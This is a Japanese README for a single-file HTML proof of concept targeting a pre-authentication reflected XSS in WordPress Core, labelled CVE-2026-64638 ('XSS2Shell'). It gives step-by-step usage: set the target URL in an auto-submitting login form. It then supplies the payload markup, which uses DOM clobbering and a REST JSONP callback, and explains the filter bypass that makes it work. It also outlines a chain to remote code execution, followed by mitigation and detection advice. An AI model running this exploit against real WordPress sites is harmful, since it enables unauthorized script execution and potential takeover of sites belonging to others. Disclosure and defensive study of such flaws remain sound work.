XSS2Shell アラートPoC (CVE-2026-64638)

WordPress 事前認証リフレクション型XSSの概念実証

WordPress Core の CVE-2026-64638 (XSS2Shell) パーサー差分XSSに対する単一ファイルのHTML概念実証です。細工されたログインリクエストを介して、WordPress オリジン上で認証なしの JavaScript 実行を実証します。

脆弱性情報

• CVE: CVE-2026-64638 (XSS2Shell)
• 種別: 事前認証リフレクション型XSS（パーサー差分: strip_tags() vs wp_kses_post()）
• 昇格: RCE に連鎖可能（DOM clobbering → REST JSONP → SOME → Application Password → プラグインアップロード）
• 影響を受けるバージョン: WordPress 6.4 – 7.0.2（実質的に悪用可能な範囲）
• 修正バージョン: WordPress 7.0.3（4.7 までの保守ブランチにバックポート済み）

使用方法

1. テキストエディタで POC.html を開きます。
2. フォームの action 内の http://TARGET/wp-login.php を対象のURLに置き換えます。

<form id="poc" method="post" action="http://TARGET/wp-login.php">

3. ファイルをブラウザで開きます。フォームは自動送信され、対象が脆弱な場合、WordPress オリジンで confirm()（または alert()）ポップアップが表示されます。

PoC ペイロード

< area id=ajaxurl href=/?rest_route=/&_method=GET&_jsonp=confirm&_envelope=1>
< div id=color-picker class=reset-pass-submit>
< button class="wp-generate-pw color-option">X

各 < の後のスペースがエクスプロイトです。これがないと、wp_strip_all_tags() がすべてを削除します。

要件

• 脆弱な WordPress インストール（6.4 – 7.0.2、未パッチ）
• JavaScript が有効なブラウザ
• ツール依存なし（純粋なHTML）

検出 / 緩和策

• WordPress 7.0.3 またはパッチ適用済みブランチにアップグレードします。
• パッチ適用後、既存のすべての Application Password を取り消し/ローテーションします。
• WAF/エッジで log フィールドの %3C + 空白パターンをブロックします。
• log にエンコードされた < が含まれる POST /wp-login.php リクエストを監視します。

参考リンク

• pwn.ai — XSS2Shell: WordPress 事前認証XSSからRCEへのチェーン
• WordPress 7.0.3 リリース
• Hadrian — CVE-2026-64638 分析
• IONSEC — XSS2Shell 技術分析